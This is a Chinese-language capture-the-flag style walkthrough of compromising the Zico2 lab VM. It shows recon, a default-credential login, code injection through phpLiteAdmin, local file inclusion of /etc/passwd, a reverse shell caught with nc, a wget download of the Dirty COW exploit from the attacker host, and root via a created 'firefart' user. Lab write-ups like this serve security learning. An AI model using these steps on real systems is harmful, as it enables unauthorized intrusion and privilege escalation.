主要工具:kali Linux
打开zico2还是没有图形界面。
信息收集:
# nmap 192.168.111.0/24
拿到了IP地址192.168.111.154,细扫此IP
# nmap -T4 -O -sV 192.168.111.154
发现开启了网络服务,打开浏览器访问:
扫一下网络服务器的目录:
# dirb http://192.168.111.154
一一打开后看到,
其实有一种猜想,dbadmin页面就类似一个数据库(database)admin管理界面,打开test_db.php
果不其然是一个登录界面:
用户名可能就是admin,密码么试试admin。登录看看:
尝试访问一下里面的库和表:打开/usr/share/test_users,打开info表
发现了两个用户root和zico用户和32位加密的MD5密码,尝试解密:
root 34kroot34 zico zico2215@ ,尝试在kali上用ssh进行登录:
# ssh root@192.168.111.154
# ssh zico@162.168.111.154
呃都不行,只能从登录后的那个数据库界面下手了 。
再看看界面,是由phpLiteAdmin支持的。在kali上寻找phpLiteAdmin的可能利用漏洞:
# searchsploit phpLiteAdmin 1.9.3
存在代码执行漏洞。因此我们必须再创建一个数据库:/usr/databases/hack.php
创建一个hack表:
填写字段,写入phpinfo的php代码文件,保存
寻找有没有文件包含漏洞:回到主界面尝试访问服务器下的/etc/passwd
http://192.168.111.154/view.php?page=../../../../../etc/passwd
出现了东西,说明存在文件包含漏洞,利用文件包含:
http://192.168.111.154/view.php?page=../../../../usr/databases/hack.php
跳转到了刚才所创建的数据库的代码的页面phpinfo()
在kali的/var/www/html/下写一个php反弹shell的脚本:
# cd /var/www/html
# vim shell.txt # cat shell.txt
开启kali网络服务
# /etc/init.d/apache2 start
下面要将这个代码下载到靶机的数据库中,执行后可能会反弹shell
删掉hack中的hack表创建一个新的表test
接着建表hack
表中的内容是:
kali开启监听:# nc -nvlp 6666
利用刚才的文件包含漏洞访问hack数据库
http://192.168.111.154/view.php?page=../../../../usr/databases/hack.php
页面开始起反应,看kali的监听,果然拿到了终端;
查看权限 $ whoami www-data最低级的权限
转化成交互式tty $ python -c 'import pty; pty.spawn("/bin/bash")'
下一步就是提升权限了,我们会用到脏牛提权dirty.c
呃物理机上有dirty.c但是因为这是最新版kali没有vm-tools拖不进来,x-shell可以更好的解决这个问题。这个问题到时再说。
根据之前写的脚本,进入/tmp目录 $ cd /tmp
下载脏牛 $ wget http://192.168.111.210/dirty.c
下载完成,编译运行
$ gcc -pthread dirty.c -o exp -lcrypt 编译成exp文件
$ ./exp 123 运行exp
提权完成后,打开/etc/passwd,有一个用户是firefart 刚才exp执行的123就是firefart用户的密码,而firefart是一个超级用户。 $ cat /etc/passwd
$ su firefart 输入密码123,发现$成#号了提权成功